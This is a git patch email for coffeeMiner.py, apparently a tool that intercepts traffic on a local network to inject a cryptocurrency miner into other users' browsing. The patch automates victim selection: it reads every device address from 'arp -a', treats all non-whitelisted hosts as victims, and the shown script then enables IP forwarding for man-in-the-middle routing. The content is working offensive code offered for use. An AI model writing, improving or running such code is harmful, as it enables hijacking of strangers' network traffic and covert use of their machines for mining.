From 41926f973509353717c11167fc330b883cb28c9f Mon Sep 17 00:00:00 2001 From: Chase Taylor Date: Mon, 8 Jan 2018 19:57:43 -0700 Subject: [PATCH] Changed to use whitelist.txt and read victims from 'arp -a' output --- coffeeMiner.py | 31 +++++++++++++++++++++++++------ victims.txt => whitelist.txt | 0 2 files changed, 25 insertions(+), 6 deletions(-) rename victims.txt => whitelist.txt (100%) diff --git a/coffeeMiner.py b/coffeeMiner.py index 9ba4d7c..e5cf421 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -1,13 +1,32 @@ -import os -import sys - +import subprocess, re, os, sys + +def get_victims(): + whitelist = 'whitelist.txt' + victims = [] + ip_str = subprocess.check_output(['arp','-a']) # use arp -a to get connected devices + ip_list = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", ip_str) # use regex to turn the output into a list + + if not os.path.isfile(whitelist): + victims = ip_list + print("No %s! Continuing...") % whitelist + else: + for ip in ip_list: + if not ip in open('whitelist.txt').read(): + #add ip to victim's list if it's not in whitelist.txt + victims.append(ip) + else: + print("Skipping whitelisted ip %s") % ip + + return victims + #get gateway_ip (router) gateway = sys.argv[1] print("gateway: " + gateway) # get victims_ip -victims = [line.rstrip('\n') for line in open("victims.txt")] -print("victims:") -print(victims) +victims = get_victims() +print("victims: ") +for v in victims: + print(v) # configure routing (IPTABLES) os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") diff --git a/victims.txt b/whitelist.txt similarity index 100% rename from victims.txt rename to whitelist.txt